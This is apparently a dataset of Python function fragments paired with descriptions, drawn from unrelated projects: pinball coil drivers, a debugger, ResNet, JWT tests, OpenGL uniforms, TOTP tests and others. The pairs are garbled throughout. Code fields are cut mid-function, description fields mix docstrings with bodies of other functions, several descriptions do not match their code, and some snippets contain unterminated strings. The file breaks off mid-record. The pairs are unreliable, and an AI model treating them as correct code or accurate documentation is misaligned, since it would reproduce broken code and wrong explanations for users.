driver.get_recycle_ms_for_cmd(coil.recycle, coil.pulse_settings.duration))\n\n enable_switch.hw_switch.configure_debounce(enable_switch.debounce)\n driver.set_autofire(cmd, coil.pulse_settings.duration, coil.pulse_settings.power, coil.hold_settings.power)\n", "nl": "Set pulse on hit rule on driver.self.debug_log(\"Setting Pulse on hit and release HW Rule. Switch: %s,\"\"Driver: %s\", enable_switch.hw_switch.number,coil.hw_driver.number)self._check_switch_coil_combination(enable_switch, coil)driver = coil.hw_drivercmd = '{}{},{},{},10,{},{},00,00,{}'.format(driver.get_config_cmd(),coil.hw_driver.number,driver.get_control_for_cmd(enable_switch),enable_switch.hw_switch.number[0],Util.int_to_hex_string(coil.pulse_settings.duration),driver.get_pwm_for_cmd(coil.pulse_settings.power),driver.get_recycle_ms_for_cmd(coil.recycle, coil.pulse_settings.duration))enable_switch.hw_switch.configure_debounce(enable_switch.debounce)driver.set_autofire(cmd, coil.pulse_settings.duration, coil.pulse_settings.power, 0)def set_pulse_on_hit_and_enable_and_release_rule(self, enable_switch: SwitchSettings, coil: DriverSettings):Set pulse on hit and enable and relase rule on driver."} {"code": "def disable_breakpoint(self, id_list, fAll):\n\n try:\n self.m_lock.acquire()\n\n if fAll:\n id_list = list(self.m_break_points_by_id.keys())\n\n for id in id_list:\n try:\n bp = self.m_break_points_by_id[id]\n except KeyError:\n continue\n\n bp.disable()\n self.__remove_from_function_list(bp)\n self.__calc_active_break_points_by_file(bp.m_filename)\n\n finally:\n self.m_lock.release()\n\n", "nl": "Disable breakpoint."} {"code": "def wide_resnet50_2(pretrained=False, progress=True, **kwargs):\n kwargs['width_per_group'] = 64 * 2\n return _resnet('wide_resnet50_2', Bottleneck, [3, 4, 6, 3],\n pretrained, progress, **kwargs)\n\n", "nl": "rWide ResNet-50-2 model from`\"Wide Residual Networks\" `_The model is the same as ResNet except for the bottleneck number of channelswhich is twice larger in every block. The number of channels in outer 1x1convolutions is the same, e.g. last block in ResNet-50 has 2048-512-2048channels, and in Wide ResNet-50-2 has 2048-1024-2048.Args:pretrained (bool): If True, returns a model pre-trained on ImageNetprogress (bool): If True, displays a progress bar of the download to stderr"} {"code": "def test_jwt_authorize_project_no_payload(self, mymock):\n mymock.side_effect = handle_error\n project = ProjectFactory.create()\n bearer = 'Something %s' % project.secret_key\n res = jwt_authorize_project(project, bearer)\n assert res == INVALID_HEADER_BEARER, res\n\n @with_context\n @patch('pybossa.auth.handle_error')", "nl": "Test JWT no payload.mymock.side_effect = handle_errorproject = ProjectFactory.create()res = jwt_authorize_project(project, None)assert res == INVALID_HEADER_MISSING, res@with_context@patch('pybossa.auth.handle_error')def test_jwt_authorize_project_no_bearer(self, mymock):Test JWT no bearer."} {"code": "def set_data(self, data):\n\n self._handle = gl.glGetUniformLocation(\n self._program.handle, self._name)\n\n\nclass Attribute(Variable):\n \"\"\" An Attribute represents a program attribute variable \"\"\"", "nl": " Assign new data to the variable (deferred operation) # Textures need special handlingif self._gtype == gl.GL_SAMPLER_1D:if isinstance(data, Texture1D):self._data = dataelif isinstance(self._data, Texture1D):self._data.set_data(data)# Automatic texture creation if requiredelse:data = np.array(data, copy=False)if data.dtype in [np.float16, np.float32, np.float64]:self._data = data.astype(np.float32).view(Texture1D)else:self._data = data.view(Texture1D)elif self._gtype == gl.GL_SAMPLER_2D:if isinstance(data, Texture2D):self._data = dataelif isinstance(self._data, Texture2D) and data.size == self._data.size:# self._data.set_data(data)self._data[...] = data.reshape(self._data.shape)# Automatic texture creation if requiredelse:data = np.array(data, copy=False)if data.dtype in [np.float16, np.float32, np.float64]:self._data = data.astype(np.float32).view(Texture2D)else:self._data = data.view(Texture2D)elif self._gtype == gl.GL_SAMPLER_CUBE:if isinstance(data, TextureCube):self._data = dataelif isinstance(self._data, TextureCube):self._data[...] = data.reshape(self._data.shape)# Automatic texture creation if requiredelse:data = np.array(data, copy=False)if data.dtype in [np.float16, np.float32, np.float64]:self._data = data.astype(np.float32).view(TextureCube)else:self._data = data.view(TextureCube)else:self._data[...] = np.array(data, copy=False).ravel()self._need_update = Truedef _activate(self):if self._gtype in (gl.GL_SAMPLER_1D, gl.GL_SAMPLER_2D, gl.GL_SAMPLER_CUBE):if self.data is not None:log.log(5, \"GPU: Active texture is %d\" % self._texture_unit)gl.glActiveTexture(gl.GL_TEXTURE0 + self._texture_unit)if hasattr(self.data, 'activate'):self.data.activate()def _update(self):# Check active status (mandatory)if not self._active:raise RuntimeError(\"Uniform variable is not active\")# WARNING : Uniform are supposed to keep their value between program# activation/deactivation (from the GL documentation). It has# been tested on some machines but if it is not the case on# every machine, we can expect nasty bugs from this early# return# Matrices (need a transpose argument)if self._gtype in (gl.GL_FLOAT_MAT2, gl.GL_FLOAT_MAT3, gl.GL_FLOAT_MAT4):# OpenGL ES 2.0 does not support transposetranspose = Falseself._ufunction(self._handle, 1, transpose, self._data)# Textures (need to get texture count)elif self._gtype in (gl.GL_SAMPLER_1D, gl.GL_SAMPLER_2D, gl.GL_SAMPLER_CUBE):# texture = self.datalog.log(5, \"GPU: Activactin texture %d\" % self._texture_unit)# gl.glActiveTexture(gl.GL_TEXTURE0 + self._unit)# gl.glBindTexture(texture.target, texture.handle)gl.glUniform1i(self._handle, self._texture_unit)# Regular uniformelse:self._ufunction(self._handle, 1, self._data)def _create(self): Create uniform on GPU (get handle) "} {"code": "def _on_client_ssl_established(self):\n\n Returns if the connection should continue.\n \"\"\"", "nl": "Once the client is connected return to bridging modeself.client_bridge_fn = self._bridge_client# Now we are ready to bridge in both directionsself.set_select_fds(rlist=[self.client_socket, self.server_socket])self.ssl = Trueself.handler.on_ssl_establish()return Truedef bridge(self, sock):Handle bridging data from sock to the other party."} {"code": "def unique_values(func):\n\n @wraps(func)", "nl": "Wrap a function returning an iterable such that the resulting iterableonly ever yields unique items."} {"code": "def getIndent(indent, balise):\n first = indent * 2\n second = first + len(balise) + 1\n return u'\\t'.expandtabs(first), u'\\t'.expandtabs(second)\n\n", "nl": "This function calculates the number of whitespace for indentation"} {"code": "def cell_allocation(self):\n return self.conn.cell_allocation()\n", "nl": "Return admin CellAllocation object."} {"code": "def _autocleanup(self):\n for table_name, table in self.data.items():\n to_trash = set()\n strong_rows = self.strong_data.get(table_name, set())\n to_trash.update(table.difference(strong_rows))\n self._trash_data(table_name, to_trash)\n", "nl": "Run auto-cleanupself._kill_weak()self._changed = True# Cycle as long as we have changes during previous iteration. We need# this because contents of even evetypes may change, which, in turn,# will need to pull additional data into other tableswhile self._changed is True:self._changed = Falseself._reanimate_auxiliary_friends()self._reestablish_broken_relationships()def _kill_weak(self):Trash all data which isn't marked as strong."} {"code": "def test_executable():\n\n for flag in ['-h', '--help']:\n rv, out = getstatusoutput(f'{prg} {flag}')\n assert rv == 0\n assert out.lower().startswith('usage')\n\n", "nl": "Says 'Hello, World!' by defaultout = getoutput(prg)assert out.strip() == 'Hello, World!'# --------------------------------------------------def test_usage():usage"} {"code": "def model_fn(features, labels, mode, params): # pylint: disable=unused-argument\n\n example_type = collections.namedtuple(\n \"Example\", [\"input_ids\", \"input_mask\", \"segment_ids\", \"labels\"])\n\n labels = range(8)\n rand_sents = rand_example[:8]\n target_sents = example[:4] + example[5:] + rand_sents\n bert_input = create_cpc_input_from_text(\n tokenizer,\n example[4],\n target_sents,\n labels,\n group_size=16,\n max_seq_length=max_seq_length)\n\n feature = example_type(bert_input.tokens, bert_input.mask, bert_input.seg_ids,\n labels)\n return feature\n\n", "nl": "The `model_fn` for TPUEstimator.tf.logging.info(\"*** Features ***\")for name in sorted(features.keys()):tf.logging.info(\" name = %s, shape = %s\" % (name, features[name].shape))input_ids = [features[\"input_ids\" + str(i)] for i in range(num_choices)]input_mask = [features[\"input_mask\" + str(i)] for i in range(num_choices)]segment_ids = [features[\"segment_ids\" + str(i)] for i in range(num_choices)]label_ids = features[\"labels\"]label_types = features[\"label_types\"]seq_length = input_ids[0].shape[-1]input_ids = tf.reshape(tf.stack(input_ids, axis=1), [-1, seq_length])input_mask = tf.reshape(tf.stack(input_mask, axis=1), [-1, seq_length])segment_ids = tf.reshape(tf.stack(segment_ids, axis=1), [-1, seq_length])is_training = (mode == tf_estimator.ModeKeys.TRAIN)is_real_example = tf.reduce_sum(tf.one_hot(label_types, 8), axis=1)model = modeling.BertModel(config=bert_config,is_training=is_training,input_ids=input_ids,input_mask=input_mask,token_type_ids=segment_ids,use_one_hot_embeddings=use_one_hot_embeddings)(total_loss, per_example_loss, logits,probabilities) = model_builder.create_model(model, label_ids, label_types,FLAGS.train_batch_size if is_training else FLAGS.eval_batch_size,num_choices, is_training, use_tpu, FLAGS.add_lv2loss)tvars = tf.trainable_variables()initialized_variable_names = {}scaffold_fn = Noneif init_checkpoint:(assignment_map, initialized_variable_names) = modeling.get_assignment_map_from_checkpoint(tvars, init_checkpoint)if use_tpu:def tpu_scaffold():tf.train.init_from_checkpoint(init_checkpoint, assignment_map)return tf.train.Scaffold()scaffold_fn = tpu_scaffoldelse:tf.train.init_from_checkpoint(init_checkpoint, assignment_map)tf.logging.info(\"**** Trainable Variables ****\")for var in tvars:init_string = \"\"if var.name in initialized_variable_names:init_string = \", *INIT_FROM_CKPT*\"tf.logging.info(\" name = %s, shape = %s%s\", var.name, var.shape,init_string)output_spec = Noneif mode == tf_estimator.ModeKeys.TRAIN:train_op = optimization.create_optimizer(total_loss, learning_rate,num_train_steps,num_warmup_steps, use_tpu)output_spec = contrib_tpu.TPUEstimatorSpec(mode=mode,loss=total_loss,train_op=train_op,scaffold_fn=scaffold_fn)elif mode == tf_estimator.ModeKeys.EVAL:def metric_fn(per_example_loss, label_ids, logits, is_real_example):predictions = tf.argmax(logits, axis=-1, output_type=tf.int32)accuracy = tf.metrics.accuracy(labels=label_ids, predictions=predictions, weights=is_real_example)loss = tf.metrics.mean(values=per_example_loss, weights=is_real_example)return {\"eval_accuracy\": accuracy,\"eval_loss\": loss,}eval_metrics = (metric_fn,[per_example_loss, label_ids, logits, is_real_example])output_spec = contrib_tpu.TPUEstimatorSpec(mode=mode,loss=total_loss,eval_metrics=eval_metrics,scaffold_fn=scaffold_fn)else:output_spec = contrib_tpu.TPUEstimatorSpec(mode=mode,predictions={\"probabilities\": probabilities},scaffold_fn=scaffold_fn)return output_specreturn model_fndef convert_single_example(example, rand_example, max_seq_length, tokenizer):Converts a single `InputExample` into a single `InputFeatures`."} {"code": "def publish_metrics(self, interval_data):\n self.log.debug('publish-metrics')\n\n try:\n now = arrow.utcnow()\n class_id = interval_data['class_id']\n config = self._configs.get(class_id)\n group = self.pm_group_metrics.get(OnuPmIntervalMetrics.ME_ID_INFO.get(class_id, ''))\n\n if config is not None and group is not None and group.enabled:\n metrics = dict()\n context = {\n 'interval_start_time': str(now.replace(minute=int(now.minute / 15) * 15,\n second=0,\n microsecond=0).timestamp)\n }\n for metric, config_item in config.items():\n if config_item.type == PmConfig.CONTEXT and metric in interval_data:\n context[metric] = str(interval_data[metric])\n\n elif (config_item.type in (PmConfig.COUNTER, PmConfig.GAUGE, PmConfig.STATE) and\n metric in interval_data and\n config_item.enabled):\n metrics[metric] = interval_data[metric]\n\n if len(metrics):\n metadata = MetricMetaData(title=group.group_name,\n ts=now.float_timestamp,\n logical_device_id=self.logical_device_id,\n serial_no=self.serial_number,\n device_id=self.device_id,\n context=context)\n slice_data = [MetricInformation(metadata=metadata, metrics=metrics)]\n\n kpi_event = KpiEvent2(type=KpiEventType.slice,\n ts=now.float_timestamp,\n slice_data=slice_data)\n self.adapter_agent.submit_kpis(kpi_event)\n\n except Exception as e:\n self.log.exception('failed-to-submit-kpis', e=e)", "nl": "Collect the metrics for this ONU PM Interval:param interval_data: (dict) PM interval dictionary with structure of{'class_id': self._class_id,'entity_id': self._entity_id,'me_name': self._entity.__name__, # Mostly for debugging...'interval_utc_time': None,# Counters added here as they are retrieved}:return: (dict) Key/Value of metric data"} {"code": "def get_grubby_version(self):\n output = self.get_grubby_version_raw()\n if output is None:\n self.log.warn('Could not run grubby to fetch its version')\n return None\n\n match = re.match('(grubby version)?(\\s)?(\\d+)\\.(\\d+)(.*)', output)\n if match:\n groups = match.groups()\n return (int(groups[2]), int(groups[3]))\n else:\n return None\n", "nl": "Get the version of grubby that is installed on this machine:return: tuple with (major, minor) grubby version"} {"code": "def format(item):\n\n @staticmethod", "nl": "Return pretty-formatted item.services_restart_tbl = make_dict_to_table([('limit', None, None),('interval', None, None),])def _command_fmt(cmd):return wrap_words(cmd.split(), 40, ' ', '\\n ')services_tbl = make_list_to_table([('name', None, None),('root', None, None),('restart', None, services_restart_tbl),('command', None, _command_fmt),('shell', 'useshell', None),('image', None, None),])endpoints_tbl = make_list_to_table([('name', None, None),('port', None, None),('proto', None, lambda proto: proto if proto else 'tcp'),('type', None, None),])environ_tbl = make_list_to_table([('name', None, None),('value', None, None),])vring_rules_tbl = make_list_to_table([('pattern', None, None),('endpoints', None, ','.join),])vring_tbl = make_dict_to_table([('cells', None, ','.join),('rules', None, vring_rules_tbl),])ephemeral_tbl = make_dict_to_table([('tcp', None, None),('udp', None, None),])affinity_limits_tbl = make_dict_to_table([('bunker', None, None),('pod', None, None),('rack', None, None),('server', None, None),])schema = [('name', '_id', None),('memory', None, None),('cpu', None, None),('disk', None, None),('keytabs', None, None),('tickets', None, None),('features', None, None),('identity-group', 'identity_group', None),('schedule-once', 'schedule_once', None),('shared-ip', 'shared_ip', None),('ephemeral-ports', 'ephemeral_ports', ephemeral_tbl),('services', None, services_tbl),('endpoints', None, endpoints_tbl),('environ', None, environ_tbl),('vring', None, vring_tbl),('passthrough', None, '\\n'.join),('data-retention-timeout', 'data_retention_timeout', None),('lease', 'lease', None),('traits', 'traits', None),('affinity', 'affinity', None),('affinity-limits', 'affinity_limits', affinity_limits_tbl),]format_item = make_dict_to_table(schema)format_list = make_list_to_table([('name', '_id', None),('memory', None, None),('cpu', None, None),('disk', None, None),('keytabs', None, None),('tickets', None, None),('features', None, None),])if isinstance(item, list):return format_list(item)else:return format_item(item)class AppMonitorPrettyFormatter:Pretty table app monitor formatter."} {"code": "def test_mangled_from_with_bad_bytes(self):\n msg = email.message_from_bytes(source + b'From R\\xc3\\xb6lli\\n')\n b = BytesIO()\n g = BytesGenerator(b, mangle_from_=True)\n g.flatten(msg)\n self.assertEqual(b.getvalue(), source + b'>From R\\xc3\\xb6lli\\n')\n", "nl": "source = textwrap.dedent(\\Content-Type: text/plain; charset=\"utf-8\"MIME-Version: 1.0Content-Transfer-Encoding: 8bitFrom: aaa@bbb.org).encode('utf-8')"} {"code": "def createValue(self):\n if self.struct_format:\n raw = self._parent.stream.readBytes(\n self.absolute_address, self._size//8)\n try:\n return struct.unpack(self.struct_format, raw)[0]\n except struct.error, err:\n raise ValueError(\"[%s] conversion error: %s\" %\n (self.__class__.__name__, err))\n else:\n try:\n value = self[\"mantissa\"].value * (2.0 ** float(self[\"exponent\"].value))\n if self[\"negative\"].value:\n return -(value)\n else:\n return value\n except OverflowError:\n raise ValueError(\"[%s] floating point overflow\" %\n self.__class__.__name__)\n", "nl": "Create float value: use struct.unpack() when it's possible(32 and 64-bit float) or compute it with :mantissa * (2.0 ** exponent)This computation may raise an OverflowError."} {"code": "def forward(self, input, hidden):\n input = self.lockdrop(input, self.dropout_i)\n output, hidden = self.gru(input, hidden)\n hidden1, hidden2 = torch.split(hidden, 1, 0)\n output_code = self.linear1(hidden1.squeeze(0))\n stop_sign = self.linear3(hidden1.squeeze(0))\n output_seq = output_code\n\n return output, hidden, output_seq, stop_sign\n", "nl": ":param input: (1, batch, output_size):param hidden: initial hidden state:return:output: (1, batch, num_directions * hidden_size)hidden: (num_layers * 1, batch, hidden_size)output_seq: (batch, 1 * output_size)stop_sign: (batch, 1)"} {"code": "def device_info(self) -> DeviceInfo:\n wind_speed = get_attribute_from_here_data(here_data, \"windSpeed\", offset)\n assert wind_speed is not None\n return float(wind_speed)\n\n", "nl": "Return a device description for device registry.return {\"identifiers\": {(DOMAIN, self._unique_id)},\"name\": self.name,\"manufacturer\": \"here.com\",\"entry_type\": \"service\",}def get_wind_speed_from_here_data(here_data: list, offset: int = 0) -> float:Return the wind speed from here_data."} {"code": "def make_var(self, name, shape):\n assert padding in ('SAME', 'VALID')\n\n @layer", "nl": "Creates a new TensorFlow variable.return tf.get_variable(name, shape, trainable=self.trainable)def validate_padding(self, padding):Verifies that the padding is one of the supported ones."} {"code": "def get_currencies(self):\n return self._api_query(path_dict={\n API_V1_1: '/public/getcurrencies',\n API_V2_0: '/pub/Currencies/GetCurrencies'\n }, protection=PROTECTION_PUB)\n", "nl": "Used to get all supported currencies at Bittrexalong with other meta data.Endpoint:1.1 /public/getcurrencies2.0 /pub/Currencies/GetCurrencies:return: Supported currencies info in JSON:rtype : dict"} {"code": "def set_hostname(self, hostname):\n self._host.val = hostname\n", "nl": " Sets the hostname@param hostname: The hostname to set@type hostname: Str@return: None@rtype : None"} {"code": "def namespace(self, namespace):\n\n self._namespace = namespace\n", "nl": "Sets the namespace of this V1alpha1WorkflowSuspendRequest.:param namespace: The namespace of this V1alpha1WorkflowSuspendRequest. # noqa: E501:type: str"} {"code": "def _any_not_none(*args):\n for arg in args:\n if arg is None:\n return False\n return True\n\n", "nl": "Returns a boolean indicating if any argument is not Nonefor arg in args:if arg is not None:return Truereturn Falsedef _all_not_none(*args):Returns a boolean indicating if all arguments are not None"} {"code": "def testGuiEditor_Insert(qtbot, monkeypatch, nwGUI, nwMinimal, ipsumText):\n monkeypatch.setattr(QMessageBox, \"question\", lambda *a: QMessageBox.Yes)\n monkeypatch.setattr(QMessageBox, \"critical\", lambda *a: QMessageBox.Yes)\n\n sHandle = \"8c659a11cd429\"\n assert nwGUI.openProject(nwMinimal) is True\n assert nwGUI.openDocument(sHandle) is True\n qtbot.wait(stepDelay)\n\n theText = \"\n assert nwGUI.docEditor.replaceText(theText) is True\n\n\n theText = \"\n assert nwGUI.docEditor.replaceText(theText) is True\n\n nwGUI.docEditor._docHandle = None\n assert nwGUI.docEditor.setCursorPosition(24) is True\n assert nwGUI.docEditor.insertText(\"Stuff\") is False\n nwGUI.docEditor._docHandle = sHandle\n\n assert nwGUI.docEditor.setCursorPosition(24) is True\n assert nwGUI.docEditor.insertText(\", ipsumer,\") is True\n assert nwGUI.docEditor.getText() == theText[:24] + \", ipsumer,\" + theText[24:]\n\n assert nwGUI.docEditor.replaceText(theText) is True\n assert nwGUI.docEditor.setCursorPosition(41) is True\n assert nwGUI.docEditor.insertText(nwDocInsert.QUOTE_LS) is True\n assert nwGUI.docEditor.setCursorPosition(53) is True\n assert nwGUI.docEditor.insertText(nwDocInsert.QUOTE_RS) is True\n assert nwGUI.docEditor.getText() == theText.replace(\"consectetur\", \"\\u2018consectetur\\u2019\")\n\n assert nwGUI.docEditor.replaceText(theText) is True\n assert nwGUI.docEditor.setCursorPosition(41) is True\n assert nwGUI.docEditor.insertText(nwDocInsert.QUOTE_LD) is True\n assert nwGUI.docEditor.setCursorPosition(53) is True\n assert nwGUI.docEditor.insertText(nwDocInsert.QUOTE_RD) is True\n assert nwGUI.docEditor.getText() == theText.replace(\"consectetur\", \"\\u201cconsectetur\\u201d\")\n\n assert nwGUI.docEditor.insertText(nwDocInsert.NO_INSERT) is False\n assert nwGUI.docEditor.insertText(123) is False\n\n\n theText = \"\n assert nwGUI.docEditor.replaceText(theText) is True\n assert nwGUI.docEditor.setCursorLine(2)\n\n assert nwGUI.docEditor.insertKeyWord(\"stuff\") is False\n assert nwGUI.docEditor.getText() == theText\n\n assert nwGUI.docEditor.insertKeyWord(nwKeyWords.POV_KEY) is True\n assert nwGUI.docEditor.insertText(\"Jane\\n\")\n assert nwGUI.docEditor.getText() == theText.replace(\n \"\\n\\n\\n\", \"\\n\\n@pov: Jane\\n\\n\", 1\n )\n\n with monkeypatch.context() as mp:\n mp.setattr(QTextBlock, \"isValid\", lambda *a, **k: False)\n assert nwGUI.docEditor.insertKeyWord(nwKeyWords.POV_KEY) is False\n\n assert nwGUI.docEditor.setCursorPosition(20) is True\n assert nwGUI.docEditor.insertKeyWord(nwKeyWords.CHAR_KEY) is True\n assert nwGUI.docEditor.insertText(\"John\")\n assert nwGUI.docEditor.getText() == theText.replace(\n \"\\n\\n\\n\", \"\\n\\n@pov: Jane\\n@char: John\\n\\n\", 1\n )\n\n\n\n\n@pytest.mark.gui", "nl": "Test the document insert functions."} {"code": "def unicode_is_ascii(u_string):\n assert isinstance(u_string, str)\n try:\n u_string.encode('ascii')\n return True\n except UnicodeEncodeError:\n return False", "nl": "Determine if unicode string only contains ASCII characters.:param str u_string: unicode string to check. Must be unicodeand not Python 2 `str`.:rtype: bool"} {"code": "def test_check(self):\n self.assertTrue(self.dict._broker is enchant._broker)\n", "nl": "Test that check() works on some common words.self.assertTrue(self.dict.check(\"hello\"))self.assertTrue(self.dict.check(\"test\"))self.assertFalse(self.dict.check(\"helo\"))self.assertFalse(self.dict.check(\"testt\"))def test_broker(self):Test that the dict's broker is set correctly."} {"code": "def assert_not_equal(lhs_val: Any, rhs_val: Any, assert_msg: str) -> None:\n if lhs_val == rhs_val:\n error_line_no = _prev_frame().f_lineno\n raise TestAssertionFailure(\n f\"{lhs_val} does equal {rhs_val}\",\n lhs=lhs_val,\n rhs=rhs_val,\n error_line=error_line_no,\n operator=Comparison.NotEquals,\n assert_msg=assert_msg,\n )\n\n", "nl": "Check whether two objects are not equal to each other. Raises a ``TestFailure`` if not.Args:lhs_val: The value on the left side of ``!=``rhs_val: The value on the right side of ``!=``assert_msg: The assertion message from the ``assert`` statementReturns: NoneRaises: TestFailure"} {"code": "def has_key(self, other):\n return self.operate(HAS_KEY, other, result_type=sqltypes.Boolean)\n", "nl": "Boolean expression. Test for presence of a key. Note that thekey may be a SQLA expression."} {"code": "def value_from_datadict(self, data, files, name):\n return data.get(name, None)\n", "nl": "Given a dictionary of data and this widget's name, returns the valueof this widget. Returns None if it's not provided."} {"code": "def test_get_valid_adapters():\n saf = ScriptAdapterFactory\n assert(saf.factories.keys() == ScriptAdapterFactory.get_valid_adapters())\n\n", "nl": "Test to verify that the keys in the internal factory is the same set asthe results from get_valid_adapters()"} {"code": "def sample_logits(embedding, bias, labels, inputs, sampler):\n true_log_probs, samp_log_probs, neg_samples = sampler.sample(labels)\n n_sample = neg_samples.size(0)\n b1, b2 = labels.size(0), labels.size(1)\n all_ids = torch.cat([labels.view(-1), neg_samples])\n all_w = embedding(all_ids)\n true_w = all_w[: -n_sample].view(b1, b2, -1)\n sample_w = all_w[- n_sample:].view(n_sample, -1)\n\n all_b = bias[all_ids]\n true_b = all_b[: -n_sample].view(b1, b2)\n sample_b = all_b[- n_sample:]\n\n hit = (labels[:, :, None] == neg_samples).detach()\n\n true_logits = torch.einsum('ijk,ijk->ij',\n [true_w, inputs]) + true_b - true_log_probs\n sample_logits = torch.einsum('lk,ijk->ijl',\n [sample_w, inputs]) + sample_b - samp_log_probs\n sample_logits.masked_fill_(hit, -1e30)\n logits = torch.cat([true_logits[:, :, None], sample_logits], -1)\n\n return logits\n\n", "nl": "embedding: an nn.Embedding layerbias: [n_vocab]labels: [b1, b2]inputs: [b1, b2, n_emb]sampler: you may use a LogUniformSamplerReturnlogits: [b1, b2, 1 + n_sample]"} {"code": "def set_warnings():\n sys_path = list(sys.path)\n yield\n sys.path[:] = sys_path\n\n\n@pytest.fixture(autouse=True)", "nl": "Configure warnings to show while running tests.warnings.simplefilter(\"default\")warnings.simplefilter(\"once\", DeprecationWarning)# Warnings to suppress:# How come these warnings are successfully suppressed here, but not in setup.cfg??warnings.filterwarnings(\"ignore\",category=DeprecationWarning,message=r\".*imp module is deprecated in favour of importlib\",)warnings.filterwarnings(\"ignore\",category=DeprecationWarning,message=r\"module 'sre_constants' is deprecated\",)warnings.filterwarnings(\"ignore\",category=pytest.PytestRemovedIn8Warning,)if env.PYPY:# pypy3 warns about unclosed files a lot.warnings.filterwarnings(\"ignore\", r\".*unclosed file\", category=ResourceWarning)@pytest.fixture(autouse=True)def reset_sys_path():Clean up sys.path changes around every test."} {"code": "def __init__(self, instance=None, **kwargs):\n super(PyMimeData, self).__init__()\n\n self._instances = {}\n\n self.setData(self.MIME_TYPE, instance)\n for k, v in kwargs.items():\n self.setData(k, v)\n", "nl": ":param instance: The python object to storekwargs: Optional mime type / objects pairs to store as objects"} {"code": "def _get_clipping_extent_bbox(self):\n bbox = None\n if self.get_clip_on():\n clip_box = self.get_clip_box()\n if clip_box is not None:\n bbox = clip_box\n clip_path = self.get_clip_path()\n if clip_path is not None and bbox is not None:\n clip_path = clip_path.get_fully_transformed_path()\n bbox = Bbox.intersection(bbox, clip_path.get_extents())\n return bbox\n", "nl": "Return a bbox with the extents of the intersection of the clip_pathand clip_box for this artist, or None if both of these areNone, or ``get_clip_on`` is False."} {"code": "def getGenericAnswers(self, name, instruction, prompts):", "nl": "Returns a L{Deferred} with the responses to the promopts.@param name: The name of the authentication currently in progress.@param instruction: Describes what the authentication wants.@param prompts: A list of (prompt, echo) pairs, where prompt is astring to display and echo is a boolean indicating whether theuser's response should be echoed as they type it."} {"code": "def getmembers(object, predicate=None):\n results = []\n for key in dir(object):\n value = getattr(object, key)\n if not predicate or predicate(value):\n results.append((key, value))\n results.sort()\n return results\n", "nl": "Return all members of an object as (name, value) pairs sorted by name.Optionally, only return members that satisfy a given predicate."} {"code": "def test_connect_chroot(self):\n treadmill.zkutils.ZkClient.create.side_effect = (\n kazoo.client.NodeExistsError)\n treadmill.zkutils.ZkClient.get.return_value = (b'aaa', {})\n zkclient = treadmill.zkutils.ZkClient()\n zkutils.put(zkclient, '/a', 'aaa', check_content=True)\n self.assertFalse(treadmill.zkutils.ZkClient.set.called)\n\n zkutils.put(zkclient, '/a', 'bbb', check_content=True)\n treadmill.zkutils.ZkClient.set.assert_called_with('/a', b'bbb')\n\n @mock.patch('treadmill.zkutils.ZkClient.set', mock.Mock())\n @mock.patch('treadmill.zkutils.ZkClient.set_acls', mock.Mock())\n @mock.patch('treadmill.zkutils.ZkClient.get', mock.Mock())", "nl": "Test connecting with chroot.zkutils.connect('zookeeper://me@xxx:123,yyy:123,zzz:123/a/b/c')treadmill.zkutils.ZkClient.create.assert_has_calls([mock.call('/a', b'', makepath=True, acl=mock.ANY),mock.call('/a/b', b'', makepath=True, acl=mock.ANY),mock.call('/a/b/c', b'', makepath=True, acl=mock.ANY),])@mock.patch('treadmill.zkutils.ZkClient.set', mock.Mock())@mock.patch('treadmill.zkutils.ZkClient.set_acls', mock.Mock())@mock.patch('treadmill.zkutils.ZkClient.create', mock.Mock())@mock.patch('treadmill.zkutils.ZkClient.get', mock.Mock())def test_put_check_content(self):Verifies put/update with check_content=True."} {"code": "def test_ctor_w_period(self):\n self.assertEqual(TOTP(KEY1).label, None)\n self.assertEqual(TOTP(KEY1, label=\"foo@bar\").label, \"foo@bar\")\n self.assertRaises(ValueError, TOTP, KEY1, label=\"foo:bar\")\n", "nl": "constructor -- 'period' parameter# defaultself.assertEqual(TOTP(KEY1).period, 30)# explicit valueself.assertEqual(TOTP(KEY1, period=63).period, 63)# reject wrong typeself.assertRaises(TypeError, TOTP, KEY1, period=1.5)self.assertRaises(TypeError, TOTP, KEY1, period='abc')# reject non-positive valuesself.assertRaises(ValueError, TOTP, KEY1, period=0)self.assertRaises(ValueError, TOTP, KEY1, period=-1)def test_ctor_w_label(self):constructor -- 'label' parameter"} {"code": "def compute_rewards(self, scores):\n recent_scores = scores[:-self.k - 2:-1]\n velocities = [recent_scores[i] - recent_scores[i + 1] for i in\n range(len(recent_scores) - 1)]\n zeros = (len(scores) - self.k) * [0]\n return velocities + zeros", "nl": "Compute the velocity of thte k+1 most recent scores.The velocity is the average distance between scores. Return a list with those k velocitiespadded out with zeros so that the count remains the same."} {"code": "def _override_setuptools(req):\n if req.project_name == 'setuptools':\n if not len(req.specs):\n return True\n for comparator, version in req.specs:\n if comparator in ['==', '>=', '>']:\n if '0.7' in version:\n return False\n return True\n return False\n\n", "nl": "Return True when distribute wants to override a setuptools dependency.We want to override when the requirement is setuptools and the version isa variant of 0.6."} {"code": "def test_is_zip_erroneous_file(self):\n fp = io.BytesIO()\n with zipfile.ZipFile(fp, mode=\"w\") as zipf:\n zipf.writestr(\"foo.txt\", b\"O, for a Muse of Fire!\")\n zipfiledata = fp.getvalue()\n\n for N in range(len(zipfiledata)):\n fp = io.BytesIO(zipfiledata[:N])\n self.assertRaises(zipfile.BadZipfile, zipfile.ZipFile, fp)\n", "nl": "Check that is_zipfile() correctly identifies non-zip files.# - passing a filenamewith open(TESTFN, \"w\") as fp:fp.write(\"this is not a legal zip file\\n\")chk = zipfile.is_zipfile(TESTFN)self.assertFalse(chk)# - passing a file objectwith open(TESTFN, \"rb\") as fp:chk = zipfile.is_zipfile(fp)self.assertTrue(not chk)# - passing a file-like objectfp = StringIO()fp.write(\"this is not a legal zip file\\n\")chk = zipfile.is_zipfile(fp)self.assertTrue(not chk)fp.seek(0, 0)chk = zipfile.is_zipfile(fp)self.assertTrue(not chk)def test_damaged_zipfile(self):Check that zipfiles with missing bytes at the end raise BadZipFile."} {"code": "def version(self, val):\n self.network.graph['version'] = str(val)\n return self.version\n", "nl": "Set the current scene version."} {"code": "def count(self, molitem: vcy.Molitem, cell_bcidx: int, dict_layers_columns: Dict[str, np.ndarray], geneid2ix: Dict[str, int]) -> Union[None, int]:\n return None\n\n\nclass Permissive10X(Logic):\n \"\"\"Permissive logic for 10X Genomics chemistry\n", "nl": "This methods will have to countain the core operations of the logic to attribute a molecule to one of the cathergoriesArguments---------molitem: vcy.MolitemThe :py:class:`vcy.Molitem` object to be considered by the logiccell_bcidx: intThe cell index in the memory buffers belowdict_layers_columns: Dict[str, np.ndarray]A 